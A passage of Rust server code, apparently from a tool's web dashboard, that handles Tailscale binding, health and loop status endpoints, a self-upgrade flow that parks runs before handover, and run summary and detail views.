1668 Bind::Auto => match tailscale_ip() {
1669 Ok(ip) => (IpAddr::V4(ip), None),
1670 Err(why) => (
1671 IpAddr::V4(Ipv4Addr::LOCALHOST),
1672 Some(format!(
1673 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1674 local-only and a phone cannot reach it; start Tailscale \
1675 or pass --bind <addr>"
1676 )),
1677 ),
1678 },
1679 }
1680}
1681
1682fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1690 let out = std::process::Command::new("tailscale")
1691 .args(["ip", "-4"])
1692 .quiet()
1693 .output()
1694 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1695 if !out.status.success() {
1696 let why = String::from_utf8_lossy(&out.stderr);
1697 let why = why.trim();
1698 return Err(format!(
1699 "`tailscale ip -4` failed ({}){}",
1700 out.status,
1701 if why.is_empty() {
1702 String::new()
1703 } else {
1704 format!(": {why}")
1705 }
1706 ));
1707 }
1708 String::from_utf8_lossy(&out.stdout)
1709 .lines()
1710 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1711 .find(is_tailnet)
1712 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1713}
1714
1715fn is_tailnet(ip: &Ipv4Addr) -> bool {
1717 let o = ip.octets();
1718 o[0] == 100 && (64..=127).contains(&o[1])
1719}
1720
1721type ApiResult<T> = std::result::Result<T, ApiError>;
1725
1726#[derive(Debug)]
1728struct ApiError {
1729 status: StatusCode,
1730 message: String,
1731}
1732
1733impl ApiError {
1734 fn bad_request(message: impl Into<String>) -> Self {
1736 Self {
1737 status: StatusCode::BAD_REQUEST,
1738 message: message.into(),
1739 }
1740 }
1741
1742 fn not_found(message: impl Into<String>) -> Self {
1744 Self {
1745 status: StatusCode::NOT_FOUND,
1746 message: message.into(),
1747 }
1748 }
1749
1750 fn with_status(mut self, status: StatusCode) -> Self {
1753 self.status = status;
1754 self
1755 }
1756
1757 fn bad_request_from(e: anyhow::Error) -> Self {
1761 Self::bad_request(format!("{e:#}"))
1762 }
1763
1764 fn conflict(message: impl Into<String>) -> Self {
1765 Self {
1766 status: StatusCode::CONFLICT,
1767 message: message.into(),
1768 }
1769 }
1770
1771 fn internal(message: impl Into<String>) -> Self {
1773 Self {
1774 status: StatusCode::INTERNAL_SERVER_ERROR,
1775 message: message.into(),
1776 }
1777 }
1778}
1779
1780impl From<anyhow::Error> for ApiError {
1781 fn from(e: anyhow::Error) -> Self {
1786 Self::internal(format!("{e:#}"))
1787 }
1788}
1789
1790impl IntoResponse for ApiError {
1791 fn into_response(self) -> Response {
1792 let body = serde_json::json!({ "error": self.message });
1793 (self.status, Json(body)).into_response()
1794 }
1795}
1796
1797async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1806where
1807 T: Send + 'static,
1808{
1809 match tokio::task::spawn_blocking(job).await {
1810 Ok(result) => result,
1811 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1812 }
1813}
1814
1815const ASSET_CACHE: &str = "no-cache, must-revalidate";
1833
1834fn asset_etag() -> &'static str {
1841 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1842 format!(
1843 "\"{}-{}\"",
1844 env!("CARGO_PKG_VERSION"),
1845 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1850 )
1851 });
1852 &TAG
1853}
1854
1855fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1857 [
1858 (header::CONTENT_TYPE, mime),
1859 (header::CACHE_CONTROL, ASSET_CACHE),
1860 (header::ETAG, asset_etag()),
1861 ]
1862}
1863
1864fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1872 let tag = asset_etag();
1873 let known = headers
1874 .get(header::IF_NONE_MATCH)
1875 .and_then(|v| v.to_str().ok())
1876 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1880 if known {
1881 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1882 }
1883 (asset_headers(mime), body).into_response()
1884}
1885
1886async fn index(headers: header::HeaderMap) -> Response {
1887 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1888}
1889
1890async fn app_css(headers: header::HeaderMap) -> Response {
1891 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1892}
1893
1894async fn app_js(headers: header::HeaderMap) -> Response {
1895 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1896}
1897
1898#[derive(Debug, Serialize)]
1900struct HealthView {
1901 version: &'static str,
1902 home: String,
1903 queue_rev: u64,
1904 runs_rev: u64,
1905 questions_rev: u64,
1917 talks_rev: u64,
1919 notifications_rev: u64,
1921 notifications_unread: usize,
1924 loop_rev: u64,
1929 runs_unreadable: usize,
1937 disk: DiskView,
1945 questions_open: usize,
1951 questions_needs_owner: usize,
1961 daemon: DaemonView,
1962 #[serde(rename = "loop")]
1968 looping: LoopView,
1969 update: UpdateView,
1976 upgrade: Option<UpgradeProgressView>,
1980}
1981
1982#[derive(Debug, Serialize)]
1989struct UpdateView {
1990 available: bool,
1992 to: Option<String>,
1994}
1995
1996#[derive(Debug, Serialize)]
1998struct UpgradeProgressView {
1999 stage: updater::Stage,
2000 from: String,
2001 to: Option<String>,
2002 waiting_on: Option<String>,
2005 started_at: Timestamp,
2006 updated_at: Timestamp,
2007 detail: Option<String>,
2008 stuck_for_secs: Option<i64>,
2011 stuck_kind: Option<updater::StallKind>,
2014 handover_alive: bool,
2017}
2018
2019fn should_spawn_recheck(cfg: &Update) -> bool {
2026 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2027}
2028
2029fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2041 if progress.is_some_and(|p| !p.stage.terminal()) {
2042 return false;
2043 }
2044 checker.should_check()
2045}
2046
2047fn recheck_poll_period(cfg: &Update) -> Duration {
2060 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2061}
2062
2063async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2087 loop {
2088 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2089 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2090 if !should_spawn_recheck(&cfg.update) {
2091 continue;
2092 }
2093 let Some(checker) = updater::Checker::new(&cfg.update) else {
2094 continue;
2095 };
2096 let progress = updater::read_progress(&home);
2097 if !update_recheck_due(&checker, progress.as_ref()) {
2098 continue;
2099 }
2100 if let Err(e) = checker.newer_release().await {
2101 tracing::warn!("background update recheck failed: {e:#}");
2102 }
2103 }
2104}
2105
2106fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2112 let default;
2113 let cfg = match cfg {
2114 Some(cfg) => cfg,
2115 None => {
2116 default = Config::default();
2117 &default
2118 }
2119 };
2120 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2121 match latest {
2122 Some(latest) => UpdateView {
2123 available: true,
2124 to: Some(latest.tag_name),
2125 },
2126 None => UpdateView {
2127 available: false,
2128 to: None,
2129 },
2130 }
2131}
2132
2133fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2139 let now = Timestamp::now();
2140 let lease = updater::read_lease(&ui.home);
2141 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2142 let run_id = alive
2143 .and_then(|l| l.parked_run.as_deref())
2144 .or(progress.parked_run.as_deref());
2145 let parking = progress.stage == updater::Stage::Parking;
2146 let waited = alive.map_or_else(String::new, |l| {
2147 let secs = updater::waited_secs(l, now);
2148 format!(" (waited {} min so far)", secs / 60)
2149 });
2150 let run_text = run_id
2151 .filter(|_| parking)
2152 .map(|id| match read_run(&ui.runs, id).ok() {
2153 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2154 None => format!("run {id} is finishing"),
2155 });
2156 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2157 .filter(|t| parking && !t.is_empty())
2158 .map(|t| format!("{t} finishing"));
2159 let waiting_on = match (run_text, talks_text) {
2160 (None, None) => None,
2161 (run, talks) => {
2162 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2163 Some(format!(
2164 "{} before the address is handed over{waited}",
2165 parts.join(" and ")
2166 ))
2167 }
2168 };
2169 let detail = progress
2170 .detail
2171 .clone()
2172 .or_else(|| updater::read_note(&ui.home, &progress));
2173 let stalled = updater::stall(&progress, lease.as_ref(), now);
2174 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2175 UpgradeProgressView {
2176 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2177 stuck_kind: stalled.map(|s| s.kind),
2178 handover_alive: alive.is_some(),
2179 stage: progress.stage,
2180 from: progress.from,
2181 to: progress.to,
2182 waiting_on,
2183 started_at: progress.started_at,
2184 updated_at: progress.updated_at,
2185 detail,
2186 }
2187}
2188
2189#[derive(Debug, Serialize)]
2194struct DiskView {
2195 #[serde(skip_serializing_if = "Option::is_none")]
2197 free_bytes: Option<u64>,
2198 runs_bytes: u64,
2200 worktrees_bytes: u64,
2202 #[serde(skip_serializing_if = "Option::is_none")]
2204 cache_bytes: Option<u64>,
2205}
2206
2207impl DiskView {
2208 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2210 let cache_bytes = cfg
2211 .and_then(|cfg| cfg.cache_dir())
2212 .map(|dir| crate::disk::dir_size(&dir));
2213 Self {
2214 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2215 runs_bytes: crate::disk::dir_size(&ui.runs),
2216 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2217 cache_bytes,
2218 }
2219 }
2220}
2221
2222#[derive(Debug, Serialize)]
2224struct DaemonView {
2225 running: bool,
2226 idle: Option<bool>,
2227 pid: Option<u32>,
2228 current: Vec<daemon::Current>,
2232 completed: Option<u64>,
2233 stale_for_secs: Option<i64>,
2234}
2235
2236impl DaemonView {
2237 fn of(status: Option<daemon::Reading>) -> Self {
2241 let Some(status) = status else {
2242 return Self {
2243 running: false,
2244 idle: None,
2245 pid: None,
2246 current: Vec::new(),
2247 completed: None,
2248 stale_for_secs: None,
2249 };
2250 };
2251 let now = Timestamp::now();
2252 let age = status.age_secs(now);
2253 Self {
2254 running: status.running(now),
2255 idle: Some(status.idle),
2256 pid: status.pid,
2257 current: status.current,
2258 completed: Some(status.completed),
2259 stale_for_secs: age,
2260 }
2261 }
2262}
2263
2264async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2265 blocking(move || {
2266 let reading = daemon::read_status(&ui.home);
2270 let loop_rev = ui.lock_loop().rev;
2274 let cfg = deputy_config(&ui.repo);
2277 let update = cached_update_view(cfg.as_ref());
2278 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2279 Ok(Json(HealthView {
2280 version: env!("CARGO_PKG_VERSION"),
2281 home: ui.home.display().to_string(),
2282 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2283 runs_rev: runs_revision(&ui.runs),
2284 questions_rev: ui.questions.revision(),
2285 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2286 notifications_rev: ui.notices.revision(),
2287 notifications_unread: ui.notices.count_unread(),
2288 loop_rev,
2289 runs_unreadable: runs_unreadable(&ui.runs),
2290 questions_open: ui.questions.count_open(),
2291 questions_needs_owner: ui.questions.count_needs_owner(),
2292 daemon: DaemonView::of(reading.clone()),
2293 looping: ui.loop_view(reading),
2294 disk: DiskView::of(&ui, cfg.as_ref()),
2295 update,
2296 upgrade,
2297 }))
2298 })
2299 .await
2300}
2301
2302#[derive(Debug, Serialize)]
2304struct LoopView {
2305 running: bool,
2307 stopping: bool,
2315 parking: bool,
2323 owned: bool,
2331 repo: String,
2334 merge: Option<String>,
2337 last_error: Option<String>,
2345 daemon: DaemonView,
2348}
2349
2350#[derive(Debug, Clone, Copy)]
2359struct Foreign {
2360 pid: Option<u32>,
2362}
2363
2364impl Foreign {
2365 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2368 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2372 }
2373
2374 fn who(&self) -> String {
2377 match self.pid {
2378 Some(pid) => format!("another magi process (pid {pid})"),
2379 None => "another magi process".to_owned(),
2380 }
2381 }
2382}
2383
2384type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2389
2390fn launch_daemon(
2392 opts: daemon::Opts,
2393 stop: daemon::Stop,
2394) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2395 Box::pin(daemon::serve_until(opts, stop))
2396}
2397
2398#[derive(Debug, Default)]
2400struct LoopState {
2401 live: Option<Live>,
2403 rev: u64,
2411 last_error: Option<String>,
2414 resume_after_handover: bool,
2419}
2420
2421#[derive(Debug)]
2423struct Live {
2424 stop: daemon::Stop,
2426 handle: tokio::task::JoinHandle<()>,
2431 opts: daemon::Opts,
2435}
2436
2437impl Live {
2438 fn alive(&self) -> bool {
2440 !self.handle.is_finished()
2441 }
2442}
2443
2444fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2451 state.lock().unwrap_or_else(PoisonError::into_inner)
2452}
2453
2454async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2456 blocking(move || {
2457 let reading = daemon::read_status(&ui.home);
2458 Ok(Json(ui.loop_view(reading)))
2459 })
2460 .await
2461}
2462
2463#[derive(Debug, Deserialize)]
2469#[serde(deny_unknown_fields)]
2470struct LoopCommand {
2471 running: bool,
2472 #[serde(default)]
2482 park: bool,
2483}
2484
2485async fn loop_post(
2493 State(ui): State<Arc<Ui>>,
2494 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2495) -> ApiResult<Json<LoopView>> {
2496 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2499 blocking(move || {
2500 let reading = daemon::read_status(&ui.home);
2501 let foreign = Foreign::of(reading.as_ref());
2502 if body.running {
2503 ui.start_loop(foreign)?;
2504 } else {
2505 ui.stop_loop(foreign, body.park)?;
2506 }
2507 Ok(Json(ui.loop_view(reading)))
2508 })
2509 .await
2510}
2511
2512#[derive(Debug, Serialize)]
2514struct UpgradeView {
2515 from: String,
2517 to: Option<String>,
2519 parked: Option<String>,
2521 detail: String,
2523}
2524
2525fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2528 progress.filter(|p| !p.stage.terminal())
2529}
2530
2531async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2555 let reading = daemon::read_status(&ui.home);
2556 if let Some(other) = Foreign::of(reading.as_ref()) {
2557 return Err(ApiError::conflict(format!(
2558 "the loop belongs to {}, so replacing this binary would leave \
2559 that process running an old one against the same queue. Upgrade \
2560 where it was started.",
2561 other.who()
2562 )));
2563 }
2564
2565 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2570 return Err(ApiError::conflict(
2571 "another request is already preparing an upgrade",
2572 ));
2573 };
2574 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2575 return Err(ApiError::conflict(
2576 "an upgrade is already in progress (this process started one and it \
2577 has not finished or failed yet)",
2578 ));
2579 }
2580 let recorded = updater::read_progress(&ui.home);
2581 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2582 return Err(ApiError::conflict(format!(
2583 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2584 stays stuck, restart the deck; on start it settles a stale record.",
2585 p.stage.as_str(),
2586 p.from,
2587 p.to.as_deref().unwrap_or("?"),
2588 )));
2589 }
2590
2591 if crate::updater::disabled_by_env() {
2597 return Ok((
2598 StatusCode::OK,
2599 Json(UpgradeView {
2600 from: env!("CARGO_PKG_VERSION").to_owned(),
2601 to: None,
2602 parked: None,
2603 detail: format!(
2604 "Automatic updates are disabled by {}. Nothing was parked \
2605 and nothing restarted.",
2606 crate::updater::NO_AUTOUPDATE_ENV
2607 ),
2608 }),
2609 ));
2610 }
2611
2612 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2617 let from = env!("CARGO_PKG_VERSION").to_owned();
2618 let latest = match crate::updater::Checker::new(&cfg.update) {
2619 Some(checker) => checker
2620 .newer_release()
2621 .await
2622 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2623 None => None,
2624 };
2625 let Some(latest) = latest else {
2626 return Ok((
2627 StatusCode::OK,
2628 Json(UpgradeView {
2629 from,
2630 to: None,
2631 parked: None,
2632 detail: "Already on the newest release. Nothing was parked \
2633 and nothing restarted."
2634 .to_owned(),
2635 }),
2636 ));
2637 };
2638
2639 let parked = ui.park_for_upgrade()?;
2642 let detail = match &parked {
2643 Some(run) => format!(
2648 "Run {} is parking at its next step, which can take as long as \
2649 the step it is on - up to an hour for an implement wave. The \
2650 deck replaces itself once it parks, comes back, and the loop \
2651 carries that run on from where it stopped. Nothing is lost if \
2652 you close this.",
2653 crate::run::short_of(run)
2654 ),
2655 None => "The deck replaces itself and comes back. Nothing was in \
2656 flight to park."
2657 .to_owned(),
2658 };
2659
2660 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2664 progress.parked_run = parked.clone();
2665 updater::write_progress_logged(&ui.home, &progress);
2669
2670 let home = ui.home.clone();
2671 let looping = ui.looping();
2672 ui.upgrade_spawned
2673 .store(true, std::sync::atomic::Ordering::SeqCst);
2674 let spawned = Arc::clone(&ui.upgrade_spawned);
2675 tokio::spawn(async move {
2676 if let Err(e) = upgrade_and_restart(home.clone()).await {
2677 tracing::error!("the upgrade did not complete: {e:#}");
2678 lock_or_recover(&looping).resume_after_handover = false;
2679 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2683 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2686 }
2687 });
2688
2689 Ok((
2690 StatusCode::ACCEPTED,
2691 Json(UpgradeView {
2692 from,
2693 to: Some(latest.tag_name),
2694 parked,
2695 detail,
2696 }),
2697 ))
2698}
2699
2700async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2705 crate::updater::run_self_update(true, false, true).await?;
2708 updater::log_step(&home, "binary replaced - recording the replaced stage");
2709 if let Some(mut progress) = updater::read_progress(&home) {
2710 progress.advance(updater::Stage::Replaced);
2711 updater::write_progress_logged(&home, &progress);
2712 }
2713 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2714 HANDOVER.notify_one();
2715 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2716 Ok(())
2717}
2718
2719#[derive(Debug, Serialize)]
2725struct RunSummary {
2726 id: String,
2727 short: String,
2728 status: String,
2729 done: bool,
2730 instruction: String,
2731 title: String,
2732 repo: String,
2733 repo_name: String,
2734 created_at: String,
2735 updated_at: String,
2736 candidates: usize,
2737 viable: usize,
2738 judges: usize,
2739 winner: Option<char>,
2740 reviews: usize,
2741 quota_losses: usize,
2742 event: Option<String>,
2743 superseded_by: Option<String>,
2748 waiting: bool,
2755 live: crate::run::Liveness,
2759 pr: Option<crate::run::PrRecord>,
2761 unmerged_by_design: bool,
2767 origin_label: String,
2770}
2771
2772impl RunSummary {
2773 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2774 Self {
2775 id: state.id.clone(),
2776 short: state.short().to_owned(),
2777 status: status_word(state.status),
2778 done: state.status.done(),
2779 unmerged_by_design: state.unmerged_by_design(),
2780 instruction: state.instruction.clone(),
2781 title: title_from(&state.instruction, TITLE_MAX),
2782 repo: state.repo.display().to_string(),
2783 repo_name: state
2784 .repo
2785 .file_name()
2786 .map(|n| n.to_string_lossy().into_owned())
2787 .unwrap_or_default(),
2788 created_at: state.created_at.to_string(),
2789 updated_at: state.updated_at.to_string(),
2790 candidates: state.candidates.len(),
2791 viable: state.viable().len(),
2792 judges: state.config.graph.judges,
2793 winner: state.winner().map(|c| c.label),
2794 reviews: state.reviews.len(),
2795 quota_losses: state.quota.len(),
2796 event: state.events.last().map(|e| e.message.clone()),
2797 waiting,
2798 live,
2799 superseded_by: None,
2802 pr: state.pr.clone(),
2803 origin_label: crate::run::origin_label(state.origin.as_ref()),
2804 }
2805 }
2806}
2807
2808fn status_word(status: RunStatus) -> String {
2811 status.as_str().to_owned()
2815}
2816
2817#[derive(Debug, Deserialize)]
2819struct ListQuery {
2820 #[serde(default)]
2821 limit: Option<usize>,
2822 ids: Option<String>,
2824}
2825
2826impl ListQuery {
2827 fn contains(&self, id: &str) -> bool {
2828 self.ids
2829 .as_ref()
2830 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2831 }
2832}
2833
2834async fn runs_list(
2835 State(ui): State<Arc<Ui>>,
2836 Query(q): Query<ListQuery>,
2837) -> ApiResult<Json<Vec<RunSummary>>> {
2838 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2839 blocking(move || {
2840 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2841 let states = run_ids(&ui.runs)
2842 .into_iter()
2843 .filter_map(|id| read_run(&ui.runs, &id).ok())
2848 .take(limit)
2849 .filter(|run| q.contains(&run.id));
2850 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2851 let summaries = summarize(
2852 states,
2853 &open_runs,
2854 &claimed,
2855 &superseded,
2856 |p| probe.borrow_mut().status(p),
2857 |p| probe.borrow_mut().started_at(p),
2858 );
2859 Ok(Json(summaries))
2860 })
2861 .await
2862}
2863
2864fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2869 let open_runs: HashSet<String> = ui
2870 .questions
2871 .list()
2872 .into_iter()
2873 .filter(|q| q.status.open())
2874 .map(|q| q.run)
2875 .collect();
2876 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2877 .into_iter()
2878 .map(|c| c.run)
2879 .collect();
2880 (open_runs, claimed, ui.queue.superseded())
2881}
2882
2883fn summarize<I, S, D>(
2889 states: I,
2890 open_runs: &HashSet<String>,
2891 claimed: &HashSet<String>,
2892 superseded: &HashMap<String, String>,
2893 mut status_q: S,
2894 mut identity_q: D,
2895) -> Vec<RunSummary>
2896where
2897 I: IntoIterator<Item = RunState>,
2898 S: FnMut(u32) -> Option<bool>,
2899 D: FnMut(u32) -> Option<String>,
2900{
2901 states
2902 .into_iter()
2903 .map(|state| {
2904 let waiting = open_runs.contains(&state.id);
2905 let live =
2906 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2907 let mut row = RunSummary::of(&state, waiting, live);
2908 row.superseded_by = superseded
2909 .get(&state.id)
2910 .map(String::as_str)
2911 .map(crate::run::short_of)
2912 .map(str::to_owned);
2913 row
2914 })
2915 .collect()
2916}
2917
2918#[derive(Debug, Serialize)]
2925struct RunDetailView {
2926 #[serde(flatten)]
2927 state: RunState,
2928 instruction_md: Vec<md::Node>,
2929 #[serde(flatten)]
2933 prose_md: RunProseMd,
2934 live: crate::run::Liveness,
2949 unmerged_by_design: bool,
2954 done: bool,
2959 superseded_by: Option<String>,
2967 latest_attempt: Option<LatestAttempt>,
2981 task: Option<TaskRef>,
2984 origin_label: String,
2988}
2989
2990#[derive(Debug, Serialize)]
2992struct TaskRef {
2993 id: String,
2994 short: String,
2995 title: String,
2996 source_label: String,
2998 source_link: Option<SourceLink>,
3000 status: &'static str,
3002 attempts: usize,
3003 max_attempts: usize,
3004 is_latest: bool,
3006 latest: Option<RunBrief>,
3008 finished_by: Option<RunBrief>,
3010 closed_by_hand: bool,
3012}
3013
3014#[derive(Debug, PartialEq, Eq, Serialize)]
3016struct SourceLink {
3017 kind: &'static str,
3019 id: String,
3021 href: String,
3023}
3024
3025fn encode_segment(raw: &str) -> String {
3027 let mut out = String::with_capacity(raw.len());
3028 for b in raw.bytes() {
3029 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3030 out.push(b as char);
3031 } else {
3032 out.push_str(&format!("%{b:02X}"));
3033 }
3034 }
3035 out
3036}
3037
3038fn source_link(source: &Source) -> Option<SourceLink> {
3042 let Source::Agent { run, node } = source else {
3043 return None;
3044 };
3045 let (kind, route) = if node == crate::queue::CHAT_NODE {
3046 ("chat", "chat")
3047 } else {
3048 ("run", "runs")
3049 };
3050 Some(SourceLink {
3051 kind,
3052 id: run.clone(),
3053 href: format!("#/{route}/{}", encode_segment(run)),
3054 })
3055}
3056
3057#[derive(Debug, Serialize)]
3059struct RunBrief {
3060 id: String,
3061 short: String,
3062 status: Option<&'static str>,
3064 outcome: String,
3066}
3067
3068fn task_outcome(
3071 task: &Task,
3072 this_run: &str,
3073 max_attempts: usize,
3074 read: impl Fn(&str) -> Option<RunState>,
3075) -> TaskRef {
3076 let history = task_history(task, read);
3077 let brief = |h: &TaskRunView| RunBrief {
3078 id: h.id.clone(),
3079 short: h.short.clone(),
3080 status: h.status,
3081 outcome: h.exit.edge_label(h.status),
3082 };
3083 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3084 let latest = if is_latest {
3085 None
3086 } else {
3087 history.last().map(brief)
3088 };
3089 let done = task.status == TaskStatus::Done;
3090 let finished_by = done
3091 .then(|| {
3092 history
3093 .iter()
3094 .rev()
3095 .find(|h| {
3096 matches!(
3097 h.exit,
3098 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3099 )
3100 })
3101 .map(brief)
3102 })
3103 .flatten();
3104 TaskRef {
3105 short: task.short().to_owned(),
3106 title: task.title.clone(),
3107 id: task.id.clone(),
3108 source_label: task.source.label(),
3109 source_link: source_link(&task.source),
3110 status: task.status.as_str(),
3111 attempts: task.attempts,
3112 max_attempts,
3113 is_latest,
3114 latest,
3115 closed_by_hand: done && finished_by.is_none(),
3116 finished_by,
3117 }
3118}
3119
3120#[derive(Debug, Serialize)]
3122struct LatestAttempt {
3123 id: String,
3124 short: String,
3125 resolved: bool,
3136 status: RunStatus,
3139 done: bool,
3141}
3142
3143#[derive(Debug, Default, Serialize)]
3145struct RunProseMd {
3146 advice_md: Option<AdviceMd>,
3148 candidate_summaries_md: Vec<Vec<md::Node>>,
3150 reviews_md: Vec<RoundMd>,
3152}
3153
3154#[derive(Debug, Default, Serialize)]
3155struct AdviceMd {
3156 synthesis: Vec<md::Node>,
3157 approaches: Vec<Vec<md::Node>>,
3159}
3160
3161#[derive(Debug, Default, Serialize)]
3162struct RoundMd {
3163 reviewers: Vec<ReviewerMd>,
3165 reconsideration: Vec<Vec<md::Node>>,
3167 fix: Option<FixMd>,
3168}
3169
3170#[derive(Debug, Default, Serialize)]
3171struct ReviewerMd {
3172 summary: Vec<md::Node>,
3173 findings: Vec<Vec<md::Node>>,
3175}
3176
3177#[derive(Debug, Default, Serialize)]
3178struct FixMd {
3179 notes: Vec<md::Node>,
3180 rejected: Vec<Vec<md::Node>>,
3182}
3183
3184fn run_prose_md(state: &RunState) -> RunProseMd {
3186 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3187 RunProseMd {
3188 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3189 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3190 approaches: a
3191 .records
3192 .iter()
3193 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3194 .collect(),
3195 }),
3196 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3197 reviews_md: state
3198 .reviews
3199 .iter()
3200 .map(|round| RoundMd {
3201 reviewers: round
3202 .reviews
3203 .iter()
3204 .map(|rec| ReviewerMd {
3205 summary: nodes(&rec.summary),
3206 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3207 })
3208 .collect(),
3209 reconsideration: round
3210 .reconsideration
3211 .iter()
3212 .map(|rv| nodes(&rv.reason))
3213 .collect(),
3214 fix: round.fix.as_ref().map(|fix| FixMd {
3215 notes: nodes(&fix.notes),
3216 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3217 }),
3218 })
3219 .collect(),
3220 }
3221}
3222
3223impl RunDetailView {
3224 fn of(
3225 state: RunState,
3226 live: crate::run::Liveness,
3227 superseded_by: Option<String>,
3228 latest_attempt: Option<LatestAttempt>,
3229 task: Option<TaskRef>,
3230 ) -> Self {
3231 Self {
3232 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3233 prose_md: run_prose_md(&state),
3234 origin_label: crate::run::origin_label(state.origin.as_ref()),
3235 live,
3236 unmerged_by_design: state.unmerged_by_design(),
3237 done: state.status.done(),
3238 superseded_by,
3239 latest_attempt,
3240 task,
3241 state,
3242 }
3243 }
3244}
3245
3246async fn run_detail(
3247 State(ui): State<Arc<Ui>>,
3248 Path(id): Path<String>,
3249) -> ApiResult<Json<RunDetailView>> {
3250 blocking(move || {
3251 let id = resolve_run(&ui.runs, &id)?;
3252 let state = read_run(&ui.runs, &id)?;
3253 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3254 let live = state.liveness(daemon_claims);
3255 let superseded_by = ui
3256 .queue
3257 .superseded_by(&id)
3258 .as_deref()
3259 .map(crate::run::short_of)
3260 .map(str::to_owned);
3261 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3265 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3266 short: head.short().to_owned(),
3267 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3268 status: head.status,
3269 done: head.status.done(),
3270 id: head.id,
3271 })
3272 });
3273 let max_attempts = daemon::Opts::default().max_attempts;
3274 let task = ui
